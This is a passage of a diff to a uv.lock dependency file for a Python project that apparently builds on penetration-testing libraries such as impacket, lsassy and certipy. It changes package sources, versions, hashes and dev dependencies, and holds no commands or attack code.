upload-time = "2025-09-27T18:36:17.311Z" }, { url = "https://files.pythonhosted.org/packages/08/db/fefacb2136439fc8dd20e797950e749aa1f4997ed584c62cfb8ef7c2be0e/markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad", size = 11631, upload-time = "2025-09-27T18:36:18.185Z" }, { url = "https://files.pythonhosted.org/packages/e1/2e/5898933336b61975ce9dc04decbc0a7f2fee78c30353c5efba7f2d6ff27a/markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a", size = 12058, upload-time = "2025-09-27T18:36:19.444Z" }, { url = "https://files.pythonhosted.org/packages/1d/09/adf2df3699d87d1d8184038df46a9c80d78c0148492323f4693df54e17bb/markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50", size = 24287, upload-time = "2025-09-27T18:36:20.768Z" }, @@ -1162,6 +1188,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/9b/e1/4986c6c786d2ba8475c0344c9fa6a060050f9d4d029141b135d44ed5210e/masky-0.2.1-py3-none-any.whl", hash = "sha256:bcf545f5e2b762fc49df2f29aa934498bb5dd37ba0a28e0c1683acee2e5ef14b", size = 285166, upload-time = "2025-08-15T22:16:19.663Z" }, ] +[[package]] +name = "mccabe" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/ff/0ffefdcac38932a54d2b5eed4e0ba8a408f215002cd178ad1df0f2806ff8/mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325", size = 9658, upload-time = "2022-01-24T01:14:51.113Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/27/1a/1f68f9ba0c207934b35b86a8ca3aad8395a3d6dd7921c0686e23853ff5a9/mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e", size = 7350, upload-time = "2022-01-24T01:14:49.62Z" }, +] + [[package]] name = "mdurl" version = "0.1.2" @@ -1248,7 +1283,8 @@ dependencies = [ { name = "beautifulsoup4" }, { name = "bloodhound-ce" }, { name = "certihound" }, - { name = "certipy-ad" }, + { name = "certipy-nxc" }, + { name = "cryptography" }, { name = "dploot" }, { name = "dsinternals" }, { name = "impacket" }, @@ -1257,7 +1293,7 @@ dependencies = [ { name = "masky" }, { name = "minikerberos" }, { name = "neo4j" }, - { name = "oscrypto" }, + { name = "netifaces" }, { name = "paramiko" }, { name = "pefile" }, { name = "pyasn1-modules" }, @@ -1277,27 +1313,31 @@ dependencies = [ [package.dev-dependencies] dev = [ + { name = "flake8" }, + { name = "pytest" }, { name = "ruff" }, + { name = "shiv" }, ] [package.metadata] requires-dist = [ - { name = "aardwolf", specifier = ">=0.2.8" }, + { name = "aardwolf", specifier = ">=0.2.16" }, { name = "argcomplete", specifier = ">=3.1.4" }, { name = "asyauth", specifier = ">=0.0.20" }, { name = "beautifulsoup4", specifier = ">=4.11,<5" }, - { name = "bloodhound-ce", git = "https://github.com/blacklanternsecurity/BloodHound.py.git?rev=bloodhound-ce" }, + { name = "bloodhound-ce", specifier = ">=1.8.0" }, { name = "certihound", specifier = ">=0.1.1" }, - { name = "certipy-ad", git = "https://github.com/Pennyw0rth/Certipy" }, - { name = "dploot", specifier = ">=3.2.2" }, + { name = "certipy-nxc", specifier = ">=5.1.0.post1" }, + { name = "cryptography", specifier = ">=42.0.8" }, + { name = "dploot", specifier = ">=4.0.0" }, { name = "dsinternals", specifier = ">=1.2.4" }, - { name = "impacket", git = "https://github.com/blacklanternsecurity/impacket" }, + { name = "impacket", git = "https://github.com/fortra/impacket" }, { name = "jwt", specifier = ">=1.3.1" }, { name = "lsassy", specifier = ">=3.1.11" }, { name = "masky", specifier = ">=0.2.1" }, { name = "minikerberos", specifier = ">=0.4.1" }, { name = "neo4j", specifier = ">=5.0.0" }, - { name = "oscrypto", git = "https://github.com/wbond/oscrypto" }, + { name = "netifaces", specifier = ">=0.11.0,<0.12.0" }, { name = "paramiko", specifier = ">=3.3.1" }, { name = "pefile", specifier = ">=2024.8.26,<2025.0.0" }, { name = "pyasn1-modules", specifier = ">=0.3.0" }, @@ -1316,15 +1356,39 @@ requires-dist = [ ] [package.metadata.requires-dev] -dev = [{ name = "ruff", specifier = ">=0.15.20" }] +dev = [ + { name = "flake8" }, + { name = "pytest", specifier = ">=7.2.2,<8" }, + { name = "ruff" }, + { name = "shiv" }, +] + +[[package]] +name = "netifaces" +version = "0.11.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a6/91/86a6eac449ddfae239e93ffc1918cf33fd9bab35c04d1e963b311e347a73/netifaces-0.11.0.tar.gz", hash = "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32", size = 30106, upload-time = "2021-05-31T08:33:02.506Z" } [[package]] name = "oscrypto" version = "1.3.0" -source = { git = "https://github.com/wbond/oscrypto#1547f535001ba568b239b8797465536759c742a3" } +source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "asn1crypto" }, ] +sdist = { url = "https://files.pythonhosted.org/packages/06/81/a7654e654a4b30eda06ef9ad8c1b45d1534bfd10b5c045d0c0f6b16fecd2/oscrypto-1.3.0.tar.gz", hash = "sha256:6f5fef59cb5b3708321db7cca56aed8ad7e662853351e7991fcf60ec606d47a4", size = 184590, upload-time = "2022-03-18T01:53:26.889Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/01/7c/fa07d3da2b6253eb8474be16eab2eadf670460e364ccc895ca7ff388ee30/oscrypto-1.3.0-py2.py3-none-any.whl", hash = "sha256:2b2f1d2d42ec152ca90ccb5682f3e051fb55986e1b170ebde472b133713e7085", size = 194553, upload-time = "2022-03-18T01:53:24.559Z" }, +] + +[[package]] +name = "packaging" +version = "26.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7d/fa/3944b40b07da9ce895c0e6303a5ab7d53da063554f534556b134a54d6093/packaging-26.3.tar.gz", hash = "sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79", size = 313412, upload-time = "2026-08-04T18:15:28.737Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c", size = 129956, upload-time = "2026-08-04T18:15:27.159Z" }, +] [[package]] name = "paramiko" @@ -1350,21 +1414,24 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/54/16/12b82f791c7f50ddec566873d5bdd245baa1491bac11d15ffb98aecc8f8b/pefile-2024.8.26-py3-none-any.whl", hash = "sha256:76f8b485dcd3b1bb8166f1128d395fa3d87af26360c2358fb75b80019b957c6f", size = 74766, upload-time = "2024-08-26T21:01:02.632Z" }, ] +[[package]] +name = "pick" +version = "2.6.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "windows-curses", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b6/f9/450cc44b21190d99b86df3e59f7573d85f3ef2c4f7670ce4f65cb2def3b4/pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82", size = 6266, upload-time = "2026-02-28T13:47:06.31Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a5/93/704982e09f3481d2055cf8ef7372445dc8ea6c883daf60f0816deb9e362c/pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f", size = 7890, upload-time = "2026-02-28T13:47:05.311Z" }, +] + [[package]] name = "pillow" version = "12.3.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce", size = 47025035, upload-time = "2026-07-01T11:56:38.965Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/25/c2/669d88644cddb1485bd9534e63e8cf476c8e51cb3c3a1297677023505c0e/pillow-12.3.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a", size = 5392418, upload-time = "2026-07-01T11:53:27.808Z" }, - { url = "https://files.pythonhosted.org/packages/6b/ba/3762f376a2948e3036488d773a146e0ae6ecc2ca03ac20e2615bd0b2ba02/pillow-12.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7", size = 4785287, upload-time = "2026-07-01T11:53:29.761Z" }, - { url = "https://files.pythonhosted.org/packages/07/50/b5d688cc9c52d4482f3d5bcab6ce20bc2a74a85d2343841c907444a3be2c/pillow-12.3.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f", size = 6253754, upload-time = "2026-07-01T11:53:32.298Z" }, - { url = "https://files.pythonhosted.org/packages/4e/89/36f4cd76cf4baf05c50ababb976249153f18c959171c7f6ba09a6f217260/pillow-12.3.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec", size = 6925605, upload-time = "2026-07-01T11:53:34.487Z" }, - { url = "https://files.pythonhosted.org/packages/eb/c0/4de58cf6633b9e3a6061ef4be6fb91fc3c90b812ece886f531e3c523d777/pillow-12.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468", size = 6327788, upload-time = "2026-07-01T11:53:36.433Z" }, - { url = "https://files.pythonhosted.org/packages/87/3c/14d53682a19550dbbaf3b598f807d5457646c510805a44c7d7891cd1cd1a/pillow-12.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed", size = 7036288, upload-time = "2026-07-01T11:53:38.712Z" }, - { url = "https://files.pythonhosted.org/packages/38/1d/36279e3c77efe034e4cc2b0393ee74ffdb5a62391dacbf9b916154f5f0b8/pillow-12.3.0-cp310-cp310-win32.whl", hash = "sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1", size = 6472396, upload-time = "2026-07-01T11:53:40.781Z" }, - { url = "https://files.pythonhosted.org/packages/48/7c/8fa0039574c476d7c6fa57dd7c32a130436877c6ec1e5ce1cc8ec44878c1/pillow-12.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb", size = 7226887, upload-time = "2026-07-01T11:53:42.764Z" }, - { url = "https://files.pythonhosted.org/packages/fa/17/e324be141d173c1c919428066c3259f21c1b8982e564e01a4a81e96dbdcf/pillow-12.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f", size = 2568039, upload-time = "2026-07-01T11:53:45.372Z" }, { url = "https://files.pythonhosted.org/packages/fb/c8/0a78b0e02d7ac54bc03e5321c9220da52f0c2ea83b21f7c40e7f3169c502/pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756", size = 5392415, upload-time = "2026-07-01T11:53:47.162Z" }, { url = "https://files.pythonhosted.org/packages/b2/5b/a02d30018abd97ced9f5a6c63d28597694a00d066516b9c1c6de45859fc9/pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6", size = 4785266, upload-time = "2026-07-01T11:53:49.079Z" }, { url = "https://files.pythonhosted.org/packages/c8/98/766667a4be768150a202836acd9fad19c06824ca86c4286d3cf6b274964e/pillow-12.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd", size = 6263814, upload-time = "2026-07-01T11:53:51.32Z" }, @@ -1444,16 +1511,34 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/36/54/0169bc772ec491108b62f644f8ecf1fe5d8ae5ebafde2ee2142210166903/pillow-12.3.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a", size = 7231786, upload-time = "2026-07-01T11:56:35.046Z" }, ] +[[package]] +name = "pip" +version = "26.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ae/15/4500e320e6b101ec3b719ae85b697d9940b6cda672bc555bd6016fc60c6f/pip-26.2.1.tar.gz", hash = "sha256:f6ad667e89a1fe78046c8f13232b247200f5258d7828f3f7883d660878e0813f", size = 1848877, upload-time = "2026-08-04T22:51:14.148Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f3/6e/1736e5b4ae2b778ef2f81c47d797de9f891d4d8acb047a24ca37a60294dd/pip-26.2.1-py3-none-any.whl", hash = "sha256:71138adf1f4ca900cdb7d289c21b7494329f2332b6d85f0e1c42108c0384ed3e", size = 1816632, upload-time = "2026-08-04T22:51:12.472Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + [[package]] name = "prompt-toolkit" -version = "3.0.52" +version = "3.0.53" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "wcwidth" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/a1/96/06e01a7b38dce6fe1db213e061a4602dd6032a8a97ef6c1a862537732421/prompt_toolkit-3.0.52.tar.gz", hash = "sha256:28cde192929c8e7321de85de1ddbe736f1375148b02f2e17edd840042b1be855", size = 434198, upload-time = "2025-08-27T15:24:02.057Z" } +sdist = { url = "https://files.pythonhosted.org/packages/7d/ea/39b988c938f75cb75d7045b5c69f8bfed47ee2152c8837fb403de29d6fb8/prompt_toolkit-3.0.53.tar.gz", hash = "sha256:9ec8a0ad96d5c56148b3f914aa79c1564c3fde5d2e6b876e7bc327e353cf8fa6", size = 435492, upload-time = "2026-07-26T20:56:14.758Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/84/03/0d3ce49e2505ae70cf43bc5bb3033955d2fc9f932163e84dc0779cc47f48/prompt_toolkit-3.0.52-py3-none-any.whl", hash = "sha256:9aac639a3bbd33284347de5ad8d68ecc044b91a762dc39b7c21095fcd6a19955", size = 391431, upload-time = "2025-08-27T15:23:59.498Z" }, + { url = "https://files.pythonhosted.org/packages/54/6f/84908cad2d6aa5144abcf7b42709fe4fdb459bc640ec7ac5786e7693dabc/prompt_toolkit-3.0.53-py3-none-any.whl", hash = "sha256:01c0891d7f9237d5e339f7d3e42cdae80b7534abb1c7c0e3352efba6231492f2", size = 392288, upload-time = "2026-07-26T20:56:12.512Z" }, ] [[package]] @@ -1477,6 +1562,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a", size = 181259, upload-time = "2025-03-28T02:41:19.028Z" }, ] +[[package]] +name = "pycodestyle" +version = "2.14.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/11/e0/abfd2a0d2efe47670df87f3e3a0e2edda42f055053c85361f19c0e2c1ca8/pycodestyle-2.14.0.tar.gz", hash = "sha256:c4b5b517d278089ff9d0abdec919cd97262a3367449ea1c8b49b91529167b783", size = 39472, upload-time = "2025-06-20T18:49:48.75Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d7/27/a58ddaf8c588a3ef080db9d0b7e0b97215cee3a45df74f3a94dbbf5c893a/pycodestyle-2.14.0-py2.py3-none-any.whl", hash = "sha256:dd6bf7cb4ee77f8e016f9c8e74a35ddd9f67e1d5fd4184d86c3b98e07099f42d", size = 31594, upload-time = "2025-06-20T18:49:47.491Z" }, +] + [[package]] name = "pycparser" version = "3.0" @@ -1502,11 +1596,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/b8/2a/25e0be2b509c28375c7f75c7e8d8d060773f2cce4856a1654276e3202339/pycryptodome-3.22.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d21c1eda2f42211f18a25db4eaf8056c94a8563cd39da3683f89fe0d881fb772", size = 2262255, upload-time = "2025-03-15T23:02:58.055Z" }, { url = "https://files.pythonhosted.org/packages/41/58/60917bc4bbd91712e53ce04daf237a74a0ad731383a01288130672994328/pycryptodome-3.22.0-cp37-abi3-win32.whl", hash = "sha256:f02baa9f5e35934c6e8dcec91fcde96612bdefef6e442813b8ea34e82c84bbfb", size = 1763403, upload-time = "2025-03-15T23:03:00.616Z" }, { url = "https://files.pythonhosted.org/packages/55/f4/244c621afcf7867e23f63cfd7a9630f14cfe946c9be7e566af6c3915bcde/pycryptodome-3.22.0-cp37-abi3-win_amd64.whl", hash = "sha256:d086aed307e96d40c23c42418cbbca22ecc0ab4a8a0e24f87932eeab26c08627", size = 1794568, upload-time = "2025-03-15T23:03:03.189Z" }, - { url = "https://files.pythonhosted.org/packages/37/c3/e3423e72669ca09f141aae493e1feaa8b8475859898b04f57078280a61c4/pycryptodome-3.22.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b4bdce34af16c1dcc7f8c66185684be15f5818afd2a82b75a4ce6b55f9783e13", size = 1618698, upload-time = "2025-03-15T23:03:11.163Z" }, - { url = "https://files.pythonhosted.org/packages/f9/b7/35eec0b3919cafea362dcb68bb0654d9cb3cde6da6b7a9d8480ce0bf203a/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2988ffcd5137dc2d27eb51cd18c0f0f68e5b009d5fec56fbccb638f90934f333", size = 1666957, upload-time = "2025-03-15T23:03:14.03Z" }, - { url = "https://files.pythonhosted.org/packages/b0/1f/f49bccdd8d61f1da4278eb0d6aee7f988f1a6ec4056b0c2dc51eda45ae27/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e653519dedcd1532788547f00eeb6108cc7ce9efdf5cc9996abce0d53f95d5a9", size = 1659242, upload-time = "2025-03-15T23:03:16.185Z" }, - { url = "https://files.pythonhosted.org/packages/95/43/a01dcf1ed39c9a9e9c9d3f9d98040deeceedaa7cdf043e175251f2e13f44/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f5810bc7494e4ac12a4afef5a32218129e7d3890ce3f2b5ec520cc69eb1102ad", size = 1697246, upload-time = "2025-03-15T23:03:18.436Z" }, - { url = "https://files.pythonhosted.org/packages/3b/49/195842931f9ee6f14cd63ef85e06b93073463ed59601fb283ba9b813cd53/pycryptodome-3.22.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e7514a1aebee8e85802d154fdb261381f1cb9b7c5a54594545145b8ec3056ae6", size = 1797436, upload-time = "2025-03-15T23:03:21.294Z" }, ] [[package]] @@ -1537,11 +1626,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/8d/67/09ee8500dd22614af5fbaa51a4aee6e342b5fa8aecf0a6cb9cbf52fa6d45/pycryptodomex-3.23.0-cp37-abi3-win32.whl", hash = "sha256:189afbc87f0b9f158386bf051f720e20fa6145975f1e76369303d0f31d1a8d7c", size = 1771969, upload-time = "2025-05-17T17:23:07.115Z" }, { url = "https://files.pythonhosted.org/packages/69/96/11f36f71a865dd6df03716d33bd07a67e9d20f6b8d39820470b766af323c/pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:52e5ca58c3a0b0bd5e100a9fbc8015059b05cffc6c66ce9d98b4b45e023443b9", size = 1803124, upload-time = "2025-05-17T17:23:09.267Z" }, { url = "https://files.pythonhosted.org/packages/f9/93/45c1cdcbeb182ccd2e144c693eaa097763b08b38cded279f0053ed53c553/pycryptodomex-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:02d87b80778c171445d67e23d1caef279bf4b25c3597050ccd2e13970b57fd51", size = 1707161, upload-time = "2025-05-17T17:23:11.414Z" }, - { url = "https://files.pythonhosted.org/packages/f3/b8/3e76d948c3c4ac71335bbe75dac53e154b40b0f8f1f022dfa295257a0c96/pycryptodomex-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ebfff755c360d674306e5891c564a274a47953562b42fb74a5c25b8fc1fb1cb5", size = 1627695, upload-time = "2025-05-17T17:23:17.38Z" }, - { url = "https://files.pythonhosted.org/packages/6a/cf/80f4297a4820dfdfd1c88cf6c4666a200f204b3488103d027b5edd9176ec/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eca54f4bb349d45afc17e3011ed4264ef1cc9e266699874cdd1349c504e64798", size = 1675772, upload-time = "2025-05-17T17:23:19.202Z" }, - { url = "https://files.pythonhosted.org/packages/d1/42/1e969ee0ad19fe3134b0e1b856c39bd0b70d47a4d0e81c2a8b05727394c9/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2596e643d4365e14d0879dc5aafe6355616c61c2176009270f3048f6d9a61f", size = 1668083, upload-time = "2025-05-17T17:23:21.867Z" }, - { url = "https://files.pythonhosted.org/packages/6e/c3/1de4f7631fea8a992a44ba632aa40e0008764c0fb9bf2854b0acf78c2cf2/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fdfac7cda115bca3a5abb2f9e43bc2fb66c2b65ab074913643803ca7083a79ea", size = 1706056, upload-time = "2025-05-17T17:23:24.031Z" }, - { url = "https://files.pythonhosted.org/packages/f2/5f/af7da8e6f1e42b52f44a24d08b8e4c726207434e2593732d39e7af5e7256/pycryptodomex-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:14c37aaece158d0ace436f76a7bb19093db3b4deade9797abfc39ec6cd6cc2fe", size = 1806478, upload-time = "2025-05-17T17:23:26.066Z" }, ] [[package]] @@ -1568,20 +1652,6 @@ dependencies = [ ] sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size = 471464, upload-time = "2026-05-06T13:37:06.98Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e7/08/f1ba952f1c8ae5581c70fa9c6da89f247b83e3dd8c09c035d5d7931fc23d/pydantic_core-2.46.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4", size = 2113146, upload-time = "2026-05-06T13:37:36.537Z" }, - { url = "https://files.pythonhosted.org/packages/56/c6/65f646c7ff09bd257f660434adb45c4dfcbbcebcc030562fecf6f5bf887d/pydantic_core-2.46.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5", size = 1949769, upload-time = "2026-05-06T13:37:46.365Z" }, - { url = "https://files.pythonhosted.org/packages/64/ba/bfb1d928fd5b49e1258935ff104ae356e9fd89384a55bf9f847e9193ad40/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb63e0198ca18aad131c089b9204c23079c3afa95487e561f4c522d519e55aba", size = 1974958, upload-time = "2026-05-06T13:37:28.611Z" }, - { url = "https://files.pythonhosted.org/packages/4e/74/76223bfb117b64af743c9b6670d1364516f5c0604f96b48f3272f6af6cc6/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f47286a97f0bc9b8859519809077b91b2cefe4ae47fcbf5e466a009c1c5d742b", size = 2042118, upload-time = "2026-05-06T13:36:55.216Z" }, - { url = "https://files.pythonhosted.org/packages/cb/7b/848732968bc8f48f3187542f08358b9d842db564147b256669426ebb1652/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905a0ed8ea6f2d61c1738835f99b699348d7857379083e5fc497fa0c967a407c", size = 2222876, upload-time = "2026-05-06T13:38:25.455Z" }, - { url = "https://files.pythonhosted.org/packages/b5/2f/e90b63ee2e14bd8d3db8f705a6d75d64e6ee1b7c2c8833747ce706e1e0ce/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea793e075b70290d89d8142074262885d3f7da19634845135751bd6344f73b50", size = 2286703, upload-time = "2026-05-06T13:37:53.304Z" }, - { url = "https://files.pythonhosted.org/packages/ba/1e/acc4d70f88a0a277e4a1fa77ebb985ceabaf900430f875bf9338e11c9420/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395aebd9183f9d112f569aeb5b2214d1a10a33bec8456447f7fbdfa51d38d4cd", size = 2092042, upload-time = "2026-05-06T13:38:46.981Z" }, - { url = "https://files.pythonhosted.org/packages/a9/da/0a422b57bf8504102bf3c4ccea9c41bab5a5cee6a54650acf8faf67f5a24/pydantic_core-2.46.4-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b078afbc25f3a1436c7a1d2cd3e322497ee99615ba97c563566fdf46aff1ee01", size = 2117231, upload-time = "2026-05-06T13:39:23.146Z" }, - { url = "https://files.pythonhosted.org/packages/bd/2a/2ac13c3af305843e23c5078c53d135656b3f05a2fd78cb7bbbb12e97b473/pydantic_core-2.46.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f747929cf940cddb5b3668a390056ddd5ba2e5010615ea2dcf4f9c4f3ab8791d", size = 2168388, upload-time = "2026-05-06T13:40:08.06Z" }, - { url = "https://files.pythonhosted.org/packages/72/04/2beacf7e1607e93eefe4aed1b4709f079b905fb77530179d4f7c71745f22/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:daa27d92c36f24388fe3ad306b174781c747627f134452e4f128ea00ce1fe8c4", size = 2184769, upload-time = "2026-05-06T13:38:13.901Z" }, - { url = "https://files.pythonhosted.org/packages/9e/29/d2b9fd9f539133548eaf622c06a4ce176cb46ac59f32d0359c4abc0de047/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:19e51f073cd3df251856a8a4189fbdf1de4012c3ebacfb1884f94f1eb406079f", size = 2319312, upload-time = "2026-05-06T13:39:08.24Z" }, - { url = "https://files.pythonhosted.org/packages/7c/af/0f7a5b85fec6075bea96e3ef9187de38fccced0de92c1e7feda8d5cc7bb9/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c1747f85cee84c26985853c6f3d9bd3e75da5212912443fa111c113b9c246f39", size = 2361817, upload-time = "2026-05-06T13:38:43.2Z" }, - { url = "https://files.pythonhosted.org/packages/25/a4/73363fec545fd3ec025490bdda2743c56d0dd5b6266b1a53bbe9e4265375/pydantic_core-2.46.4-cp310-cp310-win32.whl", hash = "sha256:2f84c03c8607173d16b5a854ec68a2f9079ae03237a54fb506d13af47e1d018d", size = 1987085, upload-time = "2026-05-06T13:39:25.497Z" }, - { url = "https://files.pythonhosted.org/packages/01/aa/62f082da2c91fac1c234bc9ee0066257ce83f0604abd72e4c9d5991f2d84/pydantic_core-2.46.4-cp310-cp310-win_amd64.whl", hash = "sha256:8358a950c8909158e3df31538a7e4edc2d7265a7c54b47f0864d9e5bae9dcebf", size = 2074311, upload-time = 